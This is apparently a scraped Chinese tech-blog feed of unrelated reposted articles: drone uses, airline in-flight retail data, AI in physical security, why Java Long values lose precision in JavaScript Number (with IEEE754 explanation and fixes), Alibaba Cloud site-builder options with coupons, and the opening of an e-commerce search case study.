    当无人机首次进入未知的天空时,情况并没有这么乐观。历史记载指出,它们主要用于军事和战争原因。幸运的是,这种情况随时间而改变,目前由于他们能够到达无法到达的地方;无人机被用于造福人类。包括搜救、运输、交通监测、农业测绘、消防等。


    image


    无人机:介绍


    什么是无人机?用外行人的话说,它是一种无人驾驶飞行器或无人机,可以被认为是飞行机器人。它可以远程控制,也可以使用嵌入GPS和传感器等系统的软件控制飞行计划自主飞行。无人机配备了双全球导航卫星系统(GNSS),其中包括GPS和GLONASS。它们也可以在非卫星模式下飞行。雷达定位等其他定位功能有助于无人机精确导航,还可以显示无人机与控制器之间的当前位置,而返回Home功能则引导无人机回到控制器。陀螺仪稳定技术促进了平稳飞行和障碍物检测,避碰技术保证了安全。此外,陀螺仪可以为中央飞行控制器提供重要的导航数据。


    无人机:需求增长的原因


    尽管高昂的成本和技术限制阻碍了无人机的广泛使用,但在提供扫描图像方面,无人机现在是最受青睐的资产。以前,我们依赖卫星图像,但现在由于成本、数据共享和时间方面的一些限制,不可能在日常用途上持续依赖卫星图像。相比之下,无人机可以提供实时、高分辨率的图像数据,其细节要精确得多,图像清晰度也很低。现在,由于小型化传感器成本的降低,即使是普通人也能拥有它们。此外,它还有助于快速决策,减少访问现场的次数。甚至传感器的进步也在数据质量和自动化方面产生了主要影响。此外,如今运行在人工智能和机器学习上的无人机,使其能够与建筑物或地面保持一致的距离,以帮助自动飞行,并提高测量精度。


    无人机的应用


    让我们看看一些无人机的流行使用案例。



    • 医疗:总部位于加州的Zipline利用位于加纳的一系列无人机配送中心,24小时为该国人口提供疫苗和药品。
    • 房地产:通过捕捉高价值房产的图片,无人机可以颠覆房地产行业。位于洛杉矶郊外的媒体公司ZawStudios使用无人机在大房子里拍摄360度身临其境的照片和视频。成品为潜在买家提供了一个模拟实际演练的视角。
    • 野生动物和森林保护:他们可以协助追踪非法活动,监控动物,统计其数量,计划重新造林,拍摄奇异的图片等等。此外,它们还有助于评估森林健康、侵占、砍伐、森林火灾、偷猎以及水体、生物多样性保护和红树林保护的状况。例如NETRAProUAV,eBeeX,SnotBot,AirShepherd。
    • 能源:sunpower正在使用无人机改进太阳能发电厂。SkySpecs是一家初创公司,该公司使用这些无人机对风力涡轮机进行检查,这在过去只需几分钟就能完成数小时的工作。
    • 天气预报:气象无人机可以收集和提供实时天气数据,帮助气象学家预测未来几天或几周的天气状况,并发布早期风暴警报。例如,Saildrone的自主帆船可以从海洋表面收集海洋和大气数据。
    • 保险:这些形式的无人机在穿越区域和角度时可以覆盖更多的地面,这对人力保险检查员来说是一个挑战。位于加州的公司DroneBase使用无人机对建筑物屋顶进行空中勘测,为保险公司评估与索赔相关的损失提供了一种简单的方法。
    • 互联网:可以向偏远地区提供低成本的互联网服务。最著名的例子就是Facebook的太阳能无人机Aquila。
    • 农业和再造林:通过无人机,农业工人可以收集数据,自动化冗余流程,提高效率。猛禽地图使用无人机帮助农民更好地预测他们的潜在收成。创业公司BiocarbonEngineering使用无人机在仰光南部种植红树林树苗。

    除了上述应用之外,无人机还可用于喷洒农药(DJI)、应急响应、搜救、采矿、消防、输油管道空中检查、城市规划、娱乐、旅游和旅游建设、货物配送等。


    我们能做些什么?


    虽然监管是必要的,但它们可能为无人机未来的发展构成障碍。仅通过将高度限制提高到几米,无人机就可以帮助农民以更低的成本将检查区域扩大一倍,并带来更好的效益。虽然目前允许无人机在视线以外和夜间操作,但在减少无人机日常使用的法规方面需要做很多工作。正因为规则灵活,中国和美国目前在这个市场上处于领先地位。





    本文作者:Cassie编译



    ]]>
    航空企业如何用「AI利器」提升乘客体验 Fri, 02 May 2025 09:39:03 +0800


     



    “早上好,Jones小姐,欢迎您乘坐从伦敦盖特威克机场买入巴黎的这趟「新常态」航班。请花一点时间,通过您手头的设备或座位背面的提示信息访问我们的门户网站。您可以在这里订购任何食物与饮料,我们的乘务员将立即将其送达。要不要来份您平时最喜欢的拿铁加鸡蛋卷套餐?——点击此处再来一份。”



    liQmGilXreIew_600


    航空公司掌握的客户数据可以说远超任何其他领域,而且这些信息当中蕴藏着对于运营、效率以及服务有着深远影响的高价值情报。然而,目前大部分航空企业仍然沿用着上世纪八十年代旅游繁盛期遗留下来的传统零售模式。因此,航空公司仍然很难真正捕捉到大量数据,并以有意义的方式将其用于生成洞见。最终,在飞机降落之后,飞机上发生的一切都只能短暂存在于机组人员的头脑当中,很快随着下一趟航班的开启而烟消云散。


    但是,时代在变化,COVID-19疫情的全面来袭给航空企业的利润带来沉重打击,也增强了人们对于自动式、无缝化候机与飞行体验的迫切渴望。另外,技术行业还开发出创新型机载系统,帮助航空企业在捕捉大量乘客数据的同时,为远距离乘客提供各类服务。


    利用这些创新成果以及对大数据的洞察能力,航空公司将获得超越竞争对手的巨大优势。从预订、值机、登机到乘机,航空公司能够全程跟踪客户群体的各类信息。具体来讲,航空企业不仅能够轻松发现销售情况最好的产品,还可以使用大数据深入理解客户的购买习惯,在数千条航线上在正确的时间与地点向乘客宣传最符合喜好的产品。将历史信息汇总起来,航空公司将能够预测客户行为并进行建模,生成个性化结果并推动未来的机票销售。


    然而,这一切目前还只是初步愿景。相当一部分航空公司已经挣扎在生存的边缘,需要说服外部投资者暂缓撤资。谁能在这场危机当中逆势成功,谁就必然能在下一个时代中处于航空服务的最前沿。


    Amazon教会我们什么是真正的数据之力


    Amazon之所以能够在网络购物领域一骑绝尘,依靠的正是“一家店面、包罗万有”的基本思路。很多客户其实并不太清楚自己到底想要什么、哪款产品最值得购买,而Amazon的工作就是为他们提供个性化建议,结合以往的喜好整理出最贴合心思的商品推荐。


    之所以能够做到这一点,是因为Amazon会在客户的浏览与购物过程中不断收集数据。Amazon对企业越了解,对于未来产品购买的预测就越是准确。另外,一旦明确了购物需求,Amazon还可以简化引导购买的流程。


    具体来说,Amazon的推荐技术基于协同过滤,即首先为用户画像以建立对买家的初步认知,而后根据这份类似于个人资料的素材推荐理想产品。


    除了购买操作之外,Amazon还会记录用户浏览过的内容、送货地址以及是否写过评论/反馈。他们甚至可以找到确切适合同类客户细分市场的其他产品,并根据其他同类客户的查询内容为您组织推荐内容,可以说是相当智能。


    航空行业为什么做不到?


    畅想了美好的前景,再回头看看惨淡的现实——机上零售领域的Amazon模式,似乎还离我们很远很远。


    考虑到飞机内的基本条件,我们也不难理解为什么围绕预测与分析展开的创新速度总是进度缓慢。旅客数据往往有着明确的轻量化特性,而且除了当前航班上的少量预见、备注饮食要求或者历史购买记录之外,航空公司很难了解机上乘客的偏好或者期望。另外,飞机的运载容量非常宝贵,难以储备充足的库存,只能根据线路存放一些与目的地相关的纪念品等小物件。乘客在旅途中浏览机上商品目录,一切购买活动都记录为纸质订单的形式。人气最高的商品很快销售一空,买不到的乘客沮丧不已……这就是现实情况,改变的出路在哪里?


    另一项非常重要的事实在于,目前只有十分之一的乘客选择在机上进行免税购物,相当于每趟短途航班只能完成10到12笔销售,而长途航班销售量则为30到40笔。另外,这个数字也在逐年缓慢下降。人们普遍认为这是受到选择范围有限、间接费用过高以及配送流程复杂等因素的影响。毕竟除了库存之外,机上的巡回手推车甚至是产品目录本身,都会占用相当一部分飞机运力。换言之,任何没有售出的产品都会带来高额成本,库存管理也因难以预测与及时补充而变得艰巨万分。


    归根结底,无论蕴藏着怎样的机遇,机上零售业务一直没有得到多少重视,直到现在......


    COVID-19疫情带来的挑战


    在COVID-19疫情的冲击之下,航空公司出于健康安全的诉求而开始重视大数据之力。很明显,这既能显著提升机上卫生标准,也有助于缓解日益紧缩的运营利润压力。


    根据Black Swan与APEX发布的最新报告,疫情爆发之后,乘客的信心受到严重影响,超过850万段社交对话开始传递负面情绪——数量在过去两个月中增长了43%。根据Black Swan的Will Cooper所言,卫生问题已经成为推动乘客负面情绪的三大主因之一。为此,航空公司必须增加技术在客户体验中的占比,这不仅有助于捕捉重要的客户数据,同时也将帮助航空运营商表现出改善并解决旅客焦虑心态的坚定意愿。


    如今,乘客在旅途当中希望获得无缝且高效的体验。航空公司有责任为乘客及机组人员提供这种尽可能减少接触的出行方式。实际上,最近与航空公司进行的一系列沟通表明,限制机组人员与乘客之间的接触,也已经成为航空公司员工正常复工的一项基本前提。在这方面,只有技术能够真正在双方诉求之间取得平衡点。


    Gategroup首席商务官Federico Germani在最近的新闻稿中表示,“对于航空公司而言,目前最重要的一步是在世界范围内重启航空服务,同时保障乘客与机组人员的健康安全。航空公司正在努力寻求在这种全新运营环境下行之有效的零售技术。”


    考虑到这些压力,航空公司开始考虑利用这一难得的机队停飞机会,立足实际环境推动技术测试。最具远见的各航空公司已经在制定相关计划,着手与技术及零售供应商合作展开探索。


    “我们需要谷歌级别的运营能力”


    关注像Amazon这样的企业,我们可以看到互联网如何改变消费者的购物习惯与具体方式。而其中蕴藏的潜力,完全有可能重塑客户们在空中的购物习惯。


    Gategroup/Black Swan的TRT Epax解决方案等订购与库存系统一直不断发展,伴随着飞机联网能力的改善,使得航空公司能够部署端到端方案,在持续服务客户的同时沿途捕捉相关数据。这一切不仅有助于消除乘客对于卫生防疫效果的顾虑,同时也让航空公司探索出一条在飞机上收集并使用数据的可行道路。


    航空企业乘客体验协会(APEX)首席执行官Joe Leader表示,“我们需要谷歌级别的运营能力。”如果航空公司真能将技术运用得如此纯熟,那么AI应用将变得更加轻松,并最终创造出空中版本的Amazon零售体验。


    对于航空这一向来行动缓慢的行业来说,此次变革无疑代表着激动人心的一步。而任何无视时代潮流、历史方向的从业方,都将被每位乘客乃至整个时代所抛弃。


     



    本文作者:Forbes


    ]]>
    除了视频分析,人工智能和机器学习还有什么好处? Fri, 02 May 2025 09:39:03 +0800

    --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

    image.png

    人工智能(AI)和机器学习(ML)在物理安全市场上引起了轰动,将视频分析提升到了新的准确性水平。实际上,这些术语已成为整个行业的通用流行语。但是,人工智能和机器学习对物理安全行业产生影响的潜力远远超出了他们改善视频分析的能力。

    我们在本周的专家小组圆桌会议主题为:除了更好的视频分析之外,人工智能或机器学习如何使物理安全市场受益?

    Nigel Waterton-Chief Revenue Officer, Arcules

    虽然我确实认为,要与当今电影中的AI驱动结果相去甚远,但是添加这些算法可以大大帮助企业领导者最终做出更好的决策并降低风险。除了视频分析之外,这一目标也是该细分市场发展的核心。将另一种工具(例如基于云的功能)叠加到此智能上,可带来额外的优势和额外的灵活性,这是我们行业以前从未见过的。

    归根结底,这项技术对物理安全行业的真正好处是能够获取从各种物联网(IoT)设备传入的数据,并使用该信息建立业务运营的最佳实践,从而巩固自己的实力,并使组织更加了解组织面临的风险。

    Per Björkdahl-Chairman, ONVIF

    用户可以通过使用 AI,或更具体地说,通过深度学习和机器学习功能,以更高的效率和准确性来利用视频分析。这些术语尽管有时可以互换使用,但每个都有不同的优点。机器学习可提供更好、更准确的事件检测分析。人们通常在想到视频分析时,会将其与面部识别相关联。但是,机器学习功能远远不止于此,它可以监视运动及过程,以及检测流量和事件。

    相比之下,人工智能被用来模仿一个人可以做什么,并有助于某些低级任务的改进。物理安全中的 AI 旨在补充人员能力的终结。 AI 有助于改善自动决策和警报。

    Sean Foley-SVP, National Accounts, Interface Security Systems LLC

    我们对视频分析中的 AI 革命感到兴奋,但 AI 的应用不仅仅局限于视频。 AI 的真正力量在于处理大量通常是不同的数据集,以产生可行的见解。例如,资产保护专业人员对什么样的销售点交易是欺诈的危险信号有深刻的了解。 AI 可以将这种理解提升到指数级,在数千名员工中评估数百万笔交易,以在流程的早期(甚至是在发生之前)识别欺诈行为,从而减少收缩。

    同时,还可以将相同类型的 AI 模式识别应用于减少中央站的误报,或对系统故障进行超准确的预测,以改善客户服务。我们的行业才刚刚开始将几乎无法理解的数据与AI引擎和算法配对。应用是无限的,客户将因此受益。

    Stuart Rawling-Vice President of Technology and Customer Engagement, Pelco, Inc

    通过深度学习和应用于视频的其他 AI 驱动技术来提高智能的真正可能性是,从长远来看,直到事情发生后,我们才开始观看视频。通过视频收集这种高水平智能的目标可能会自动实现,以至于不需要安全操作员做出响应所需的决策。取而代之的是,由情报驱动的下一步将自动传达给各个利益相关者-从现场警卫到当地警察/消防部门。

    相反,当安全主管访问与事件对应的视频时,这是因为他们希望自己查看事件。自动化、简化响应的能力以及即时响应不是整体的、数据丰富的监视策略的目标吗?对于几乎所有企业来说,答案都是肯定的。

    Aaron Saks-Product and Technical Manager, Hanwha Techwin America

    除了更好的视频分析之外,人工智能(AI)或机器学习还可以极大地有益于物理安全市场。对于摄像机而言,人工智能不仅可以通过基于运动的分析消除误报,还可以做更多的事情。从自动化任务到运行例行程序以及比较数据,人工智能和深度学习都有可能改变我们使用安全摄像机的方式。

    由于安装的摄像头远远超过了人类可以监控的数量,为了利用所有这些信息,我们需要 AI 来理解我们正在收集的新数据,并告诉我们应该注意什么。我们想知道异常情况:那辆车在街上走错路了吗?公路中间有人吗?这些设备是功能强大的新型 IoT 传感器,可直接增强业务和运营。

    Adam Wynne-Software Engineering Manager, Security and Safety Things GmbH

    人工智能(AI)和机器学习还可以通过改进的访问控制系统以及将结果数据与其他设备集成来使物理安全市场受益。通过使用该技术,算法可以通过生物识别来识别个人并将其与安全摄像机自动集成,以开发更全面的访问控制解决方案。 AI 可以通过提高识别速度和准确性来增强生物指纹系统。此外,人工智能和机器学习还带来了实时检测复杂事件的附加好处,以前只有在事实分析之后才能将其作为取证分析的一部分。这使物理安全系统和响应变得更加简化和复杂。

    Jonathan Moore-Product Director, AMAG Technology, Inc.

    视频分析通常用于识别人和其他物体,然后触发特定的动作,例如打开门或触发警报。尽管此功能很有用,但数据分析具有巨大的价值,可以提供从访问控制系统中存储的大量数据中提取的有用见解。人工智能可以“学习”每个用户的典型访问模式,并在检测到可能对组织构成威胁的可疑或异常行为时警告安全性。

    除了检测潜在的危险活动之外,数据分析还可以用于更好地了解建筑物的占用和流量模式,以帮助实施物理疏离,突出显示配置错误或可能会发生故障的面板和设备等。数据分析程序可以帮助企业提高其安全性和内部威胁程序,了解其设施使用情况和流量模式以及优化其安全硬件。

    John Davies-Managing Director, TDSi

    人工智能(无论是真正的人工智能还是复杂的机器学习)在辅助物理安全方面具有巨大的潜力。通过学习和改善自己的数据,AI 可以快速确定什么是正常或异常行为,以便在早期发现潜在问题。视频分析的好处已被充分证明,但集中式安全系统中的 AI 可以监视范围更广的复杂数据。例如,在繁忙的机场或火车站中,中央 AI 系统可以处理人员进出安全区域的活动(使用访问控制以及视频监视),并找到可能提示拥塞问题或可疑行为的模式。

    此外,我们还看到越来越多的人工智能在诸如无人机之类的尖端技术中使用,它可以在无需人工指导的情况下确定远程安装,电力线或煤气管道是否存在任何问题或需要注意。

    Brian Baker-Vice President, Americas, Calipsa

    人工智能和机器学习给物理安全处理从摄像机和传感器输入的方式带来了指数式变化。数据是提供给 AI 的燃料,摄像机提供了大量的视频以供查看。 AI 的深度学习算法可自动检测出人类和车辆运动之间的差异,而不是动物、吹树叶或反射光。结果是大大减少了误报和潜在的相关罚款。

    我们将 AI 视为增加的安全层,帮助而不是代替人类来更好地保护人员和资产。使用人工智能,中央监控站或企业安全运营中心的操作员可以将注意力集中在真实警报上,以改善安全响应。通过减少虚假警报浪费的时间,管理人员可以在不增加人员的情况下扩展操作。如今,基于云的 AI 软件解决方案几乎在世界任何地方都将其功能添加到兼容摄像机中。

    总结

    人工智能(AI)和机器学习提供了有用的工具,可以理解大量的物联网(IoT)数据。 通过帮助实现低级决策的自动化,这些技术可以使安全运营商更加高效。 智能功能可以扩展集成选项,例如通过访问控制来增加生物识别的使用。 人工智能还可以帮助改善监控机制和流程。 智能系统可以帮助最终用户了解建筑物的占用和交通模式,甚至可以帮助实现物理距离。 以上这些只是技术的几种可能用途 —— 最后,一切皆有可能。

    image.png

    原文链接:https://ai.51cto.com/art/202008/623391.htm
    文章转自51cto,本文一切观点和《机器智能技术》圈子无关

    ]]>
    《Java开发手册》解读:大整数传输为何禁用Long类型? Fri, 02 May 2025 09:39:03 +0800 image.png
    8月3日,这个在我等码农心中具有一定纪念意义的日子里,《Java开发手册》发布了嵩山版。每次发布我都特别期待,因为总能找到一些程序员不得不重视的“血淋淋的巨坑”。比如这次,嵩山版中新增的模块——前后端规约,其中一条禁止服务端在超大整数下使用Long类型作为返回。

    image.png

    这个问题,我在实际开发中遇到过,所以印象也特别深。如果在业务初期没有评估到这一点,将订单ID这类关键信息,按照Long类型返回给前端,可能会在业务中后期高速发展阶段,突然暴雷,导致严重的业务故障。期望大家能够重视。

    这条规约给出了直接明确的避坑指导,但要充分理解背后的原理,知其所以然,还有很多点要思考。首先,我们来看几个问题,如果能说出所有问题的细节,就可直接跳过了,否则下文还是值得一看的:

    • 一问:JS的Number类型能安全表达的最大整型数值是多少?为什么(注意要求更严,是安全表达)?
    • 二问:在Long取值范围内,2的指数次整数转换为JS的Number类型,不会有精度丢失,但能放心使用么?
    • 三问:我们一般都知道十进制数转二进制浮点数有可能会出现精度丢失,但精度丢失具体怎么发生的?
    • 四问:如果不幸中招,服务端正在使用Long类型作为大整数的返回,有哪些办法解决?

    基础回顾

    在解答上面这些问题前,先介绍本文涉及到的重要基础:IEEE754浮点数标准。如果大家对IEEE754的细节烂熟于心的话,可以跳过本段内容,直接看下一段,问题解答部分。

    当前业界流行的浮点数标准是IEEE754,该标准规定了4种浮点数类型:单精度、双精度、延伸单精度、延伸双精度。前两种类型是最常用的。我们单介绍一下双精度,掌握双精度,自然就了解了单精度(而且上述问题场景也是涉及双精度)。

    双精度分配了8个字节,总共64位,从左至右划分是1位符号、11位指数、52位有效数字。如下图所示,以0.7为例,展示了双精度浮点数的存储方式。

    image.png

    存储位分配

    1)符号位:在最高二进制位上分配1位表示浮点数的符号,0表示正数,1表示负数。

    2)指数:也叫阶码位。

    在符号位右侧分配11位用来存储指数,IEEE754标准规定阶码位存储的是指数对应的移码,而不是指数的原码或补码。根据计算机组成原理中对移码的定义可知,移码是将一个真值在数轴上正向平移一个偏移量之后得到的,即[x]移=x+2^(n-1)(n为x的二进制位数,含符号位)。移码的几何意义是把真值映射到一个正数域,其特点是可以直观地反映两个真值的大小,即移码大的真值也大。基于这个特点,对计算机来说用移码比较两个真值的大小非常简单,只要高位对齐后逐个比较即可,不用考虑负号的问题,这也是阶码会采用移码表示的原因所在。

    由于阶码实际存储的是指数的移码,所以指数与阶码之间的换算关系就是指数与它的移码之间的换算关系。假设指数的真值为e,阶码为E ,则有 E = e + (2 ^ (n-1) - 1),其中 2 ^ (n-1) - 1 是IEEE754 标准规定的偏移量。则双精度下,偏移量为1023,11位二进制取值范围为[0,2047],因为全0是机器零、全1是无穷大都被当做特殊值处理,所以E的取值范围为[1,2046],减去偏移量,可得e的取值范围为[-1022,1023] 。

    3)有效数字:也叫尾数位。最右侧分配连续的52位用来存储有效数字,IEEE754标准规定尾数以原码表示。

    浮点数和十进制之间的转换

    在实际实现中,浮点数和十进制之间的转换规则有3种情况:

    1 规格化

    指数位不是全零,且不是全1时,有效数字最高位前默认增加1,不占用任何比特位。那么,转十进制计算公式为:

    (-1)^s*(1+m/2^52)*2^(E-1023)

    其中s为符号,m为尾数,E为阶码。比如上图中的0.7 :

    1)符号位:是0,代表正数。

    2)指数位:01111111110,转换为十进制,得阶码E为1022,则真值e=1022-1023=-1。

    3)有效数字:

    0110011001100110011001100110011001100110011001100110

    转换为十进制,尾数m为:1801439850948198。

    4)计算结果:

    (1+1801439850948198/2^52)*(2^-1) =0.6999999999999999555910790149937383830547332763671875

    经过显示优化算法后(在后文中详述),为0.7。

    2 非规格化

    指数位是全零时,有效数字最高位前默认为0。那么,转十进制计算公式:

    (-1)^s*(0+m/2^52)*2^(-1022)

    注意,指数位是-1022,而不是-1023,这是为了平滑有效数字最高位前没有1。比如非规格最小正值为:

    0x0.00000000000012^-1022=2^-52 2^-1022 = 4.9*10^-324

    3 特殊值

    指数全为1,有效数字全为0时,代表无穷大;有效数字不为0时,代表NaN(不是数字)。

    问题解答

    1 JS的Number类型能安全表达的最大整型数值是多少?为什么?

    规约中已经指出:

    在Long类型能表示的最大值是2的63次方-1,在取值范围之内,超过2的53次方(9007199254740992)的数值转化为JS的Number时,有些数值会有精度损失。

    “2的53次方”这个限制是怎么来的呢?如果看懂上文IEEE754基础回顾,不难得出:在浮点数规格化下,双精度浮点数的有效数字有52位,加上有效数字最高位前默认为1,共53位,所以JS的Number能保障无精度损失表达的最大整数是2的53次方。

    而这里的题问是:“能安全表达的最大整型”,安全表达的要求,除了能准确表达,还有正确比较。2^53=9007199254740992,实际上,

    9007199254740992+1 == 9007199254740992

    的比较结果为true。如下图所示:

    image.png

    这个测试结果足以说明2^53不是一个安全整数,因为它不能唯一确定一个自然整数,实际上9007199254740992、9007199254740993,都对应这个值。因此这个问题的答案是:2^53-1。

    2 在Long取值范围内,2的指数次整数转换为JS的Number类型,不会有精度丢失,但能放心使用么?

    规约中指出:

    在Long取值范围内,任何2的指数次整数都是绝对不会存在精度损失的,所以说精度损失是一个概率问题。若浮点数尾数位与指数位空间不限,则可以精确表示任何整数。

    后半句,我们就不说了,因为绝对没毛病,空间不限,不仅是任何整数可以精确表示,无理数我们也可以挑战一下。我们重点看前半句,根据本文前面所述基础回顾,双精度浮点数的指数取值范围为[-1022,1023],而指数是以2为底数。另外,双精度浮点数的取值范围,比Long大,所以,理论上Long型变量中2的指数次整数一定可以准确转换为JS的umber类型。但在JS中,实际情况,却是下面这样:

    image.png

    2的55次方的准确计算结果是:36028797018963968,而从上图可看到,JS的计算结果是:36028797018963970。而且直接输入36028797018963968,控制台显示结果是36028797018963970。

    这个测试结果,已经对本问题给出答案。为了确保程序准确,本文建议,在整数场景下,对于JS的Number类型使用,严格限制在2^53-1以内,最好还是信规约的,直接使用String类型。

    为什么会出现上面的测试现象呢?

    实际上,我们在程序中输入一个浮点数a,在输出得到a',会经历以下过程:

    1)输入时:按照IEEE754规则,将a存储。这个过程很有可能会发生精度损失。

    2)输出时:按照IEEE754规则,计算a对应的值。根据计算结果,寻找一个最短的十进制数a',且要保障a'不会和a隔壁浮点数的范围冲突。a隔壁浮点数是什么意思呢?由于存储位数是限定的,浮点数其实是一个离散的集合,两个紧邻的浮点数之间,还存在着无数的自然数字,无法表达。假设有f1、f2、f3三个升序浮点数,且它们之间的距离,不可能在拉近。则在这三个浮点数之间,按照范围来划分自然数。而浮点数输出的过程,就是在自己范围中找一个最适合的自然数,作为输出。如何找到最合适的自然数,这是一个比较复杂的浮点数输出算法,大家感兴趣的,可参考相关论文[1]。

    image.png

    所以,36028797018963968和36028797018963970这两个自然数,对应到计算机浮点数来说,其实是同一个存储结果,双精度浮点数无法区分它们,最终呈现哪一个十进制数,就看浮点数的输出算法了。下图这个例子可以说明这两个数字在浮点数中是相等的。另外,大家可以想想输入0.7,输出是0.7的问题,浮点数是无法精确存储0.7,输出却能够精确,也是因为有浮点数输出算法控制(特别注意,这个输出算法无法保证所有情况下,输入等于输出,它只是尽力确保输出符合正常的认知)。

    image.png

    扩展

    JS的Number类型既用来做整数计算、也用来做浮点数计算。其转换为String输出的规则也会影响我们使用,具体规则如下:
    image.png

    上面是一段典型的又臭又长但逻辑很严谨的描述,我总结了一个不是很严谨,但好理解的说法,大家可以参考一下:

    除了小数点前的数字位数(不算开始的0)少于22位,且绝对值大于等于1e-6的情况,其余都用科学计数法格式化输出。举例:

    image.png

    3 我们一般都知道十进制数转二进制浮点数有可能会出现精度丢失,精度丢失怎么发生的?

    通过前面IEEE754分析,我们知道十进制数存储到计算机,需要转换为二进制。有两种情况,会导致转换后精度损失:

    1)转换结果是无限循环数或无理数

    比如0.1转换成二进制为:

    0.0001 10011001100110011001100110011...

    其中0011在循环。将0.1转换为双精度浮点数二进制存储为:

    0 01111111011 1001100110011001100110011001100110011001100110011001

    按照本文前面所述基础回顾中的计算公式 (-1)^s(1+m/2^52)2^(E-1023)计算,可得转换回十进制为:0.09999999999999999。这里可以看出,浮点数有时是无法精确表达一个自然数,这个和十进制中1/3 =0.333333333333333...是一个道理。

    2)转换结果长度,超过有效数字位数,超过部分会被舍弃

    IEEE754默认是舍入到最近的值,如果“舍”和“入”一样接近,那么取结果为偶数的选择。

    另外,在浮点数计算过程中,也可能引起精度丢失。比如,浮点数加减运算执行步骤分为:

    零值检测 -> 对阶操作 -> 尾数求和 -> 结果规格化 -> 结果舍入

    其中对阶和规格化都有可能造成精度损失:

    • 对阶:是通过尾数右移(左移会导致高位被移出,误差更大,所以只能是右移),将小指数改成大指数,达到指数阶码对齐的效果,而右移出的位,会作为保护位暂存,在结果舍入中处理,这一步有可能导致精度丢失。
    • 规格化:是为了保障计算结果的尾数最高位是1,视情况有可能会出现右规,即将尾数右移,从而导致精度丢失。

    4 如果不幸中招,服务端正在使用Long类型作为大整数的返回,有哪些办法解决?

    需要分情况。

    1)通过Web的ajax异步接口,以Json串的形式返回给前端

    方案一:如果,返回Long型所在的POJO对象在其他地方无使用,那么可以将后端的Long型直接修改成String型。

    方案二:如果,返回给前端的Json串是将一个POJO对象Json序列化而来,并且这个POJO对象还在其他地方使用,而无法直接将其中的Long型属性直接改为String,那么可以采用以下方式:

    String orderDetailString = JSON.toJSONString(orderVO, SerializerFeature.BrowserCompatible);

    SerializerFeature.BrowserCompatible 可以自动将数值变成字符串返回,解决精度问题。

    方案三:如果,上述两种方式都不适合,那么这种方式就需要后端返回一个新的String类型,前端使用新的,并后续上线后下掉老的Long型(推荐使用该方式,因为可以明确使用String型,防止后续误用Long型)。

    2)使用node的方式,直接通过调用后端接口的方式获取

    方案一:使用npm的js-2-java的 java.Long(orderId) 方法兼容一下。

    方案二:后端接口返回一个新的String类型的订单ID,前端使用新的属性字段(推荐使用,防止后续踩坑)。

    引用

    [1]http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.52.2247&rank=2
    [2]《码出高效》

    ]]>
    阿里云推出小白建站:模板与定制如何选择 Fri, 02 May 2025 09:39:03 +0800 企业建站不仅是企业形象的重要组成部分,更是将自身展示给客户乃至全球的窗口,因此越来越多的企业会选择建立自己的网站,因此,现在阿里云的建站产品也越来越火了,阿里云建站产品主要分为模板建站和定制建站,模板建站指的是云·速成美站,定制建站指的是云·企业官网。

    阿里云建站产品产品详情:
    1.模板建站(云·速成美站)
    2.定制建站(云·企业官网)
    image.png

    模板建站(云·速成美站)
    云·速成美站分为基础版、标准版、企业版三个版本,主要特点是价格相对便宜,一般网站有的功能,云·速成美站都有。使用阿里云提供上千套模板,可视化后台管理,会打字就会建站。
    定制建站(云·企业官网)
    云·企业官网主要分为标准版、高级版、尊贵版三个版本,主要特点是有专门的建站专家一对一服务,可以根据用户的需求定制各种功能。

    模板建站与定制建站怎么选
    首先,要看自己会不会做网站,是否有建站能力
    模板建站适合有一定网站制作能力的个人或小企业用户,模板建站支持Web站点、移动端站点、互动表单以及会员支付多场景。
    定制建站适合对网站有品质要求或个性化需求、希望节省人力和时间成本的企业用户。
    简单来说:自己会做网站,且阿里云提供的模板建站功能满足自己的需求,那么选择模板建站即可,如果自己不做,完全没接触过网站设计,或者模板建站的功能无法满足自己需求,那么就选择定制建站。

    其次,要看功能是否满足自己需求
    例如,你希望自己的网站有双语、官网电商、大容量(空间)、有CDN加速,网站秒速打开等功能则必须选择定制建站。

    最后,看预算
    模板建站官方最低报价是500元,定制建站官方最低报价是4980元,模板建站的价格相对定制建站便宜很多,因此,在模板建站功能能满足自己需求的同时,自己会一点建站能力或者原因学习建站,推荐选择模板建站更实惠。

    模板建站与定制建站版本选择注意事项:
    如果你选择的是模板建站,需要注意:
    1.基础版支持制作页面数7个,支持上传图片数量100个,支持上传文章及产品各20个,支持制作表单数量1个,而标准版和企业版则没有这个限制。
    2.企业版为独立IP,基础版标准版为共享IP。

    如果你选择的是定制建站,需要注意:
    1.标准版为PC站+手机站,高级版为PC站+手机站+双语,尊贵版为PC站+手机站+官网电商。
    2.页面制作和新闻/产品预置数量上标准版为10个,高级版为15个,尊贵版为20个。
    3.标准版的网站空间为200G,高级版为500G,尊贵版则不限制空间大小。

    最后,赠送福利:
    阿里云最近上架了全新的建站产品满减券,总额为3200元,具体面额如图所示:
    image.png

    建站满建站领取地址:阿里云小站
    领取之后,支付建站产品订单的时候,系统会根据订单金额自动匹配可使用的满减券面额,这样购买更加便宜些。
    image.png
    原文地址

    ]]>
    电商搜索“无结果率高,体验差”怎么办? Fri, 02 May 2025 09:39:03 +0800 垂直电商与综合类电商相比,具有更精准的市场定位、更深化的产品与服务质量、更强的客户粘性和更独特的品牌附加度的优势,所以搜索性能的好坏直接影响着业务最终结果

    案例背景:

    某日活千万级的垂直类电商平台,业务以社区+商城形式开展,商城业务是商业收入的主要来源,大部分用户有明确的购买指向性,其中商品搜索天级PV3000万+,搜索引导的成交占比全部成交的60%以上,是站内最重要的功能,在用户满意度调研中发现对搜索体验吐槽连连,反馈的主要问题是站内商品搜不到,个人卖家发布的商品排序靠后

    搜索问题反馈

    (1)用户:搜索不到想要的商品,体验差;
    (2)运营: 站内搜索的无结果率接近60%,说明每天有1800万的PV转换为0,流量白白浪费;
    1597059169694-cf863434-8e08-45b0-8689-f4c4373d2909.png

    (3)个人卖家: 个人卖家发布的商品排序靠后;打击发布商品积极性,影响平台价值定位和圈层生态,从而直接影响平台收益;

    搜索问题成因:

    (1)垂直小众的圈子,对于商品的叫法非常多样,并形成主流,用户搜索中不一定按照实际商品名称进行查询(例如:用户会搜“喷泡”其实想找的商品是Air Jordan AirFoamposite系列的鞋);
    (2)用户搜索表述错误(例如:搜“连衣群”其实是想搜“连衣裙”);
    (3)站内的搜索结果分3个tab呈现,分别为“销量”、“价格”、“新品”,用户搜索后默认展现的是“销量”tab下的结果,因此个人卖家发布产品由于销量少或无销量自然导致排序靠后,曝光量小,销量难增长,恶性循环;

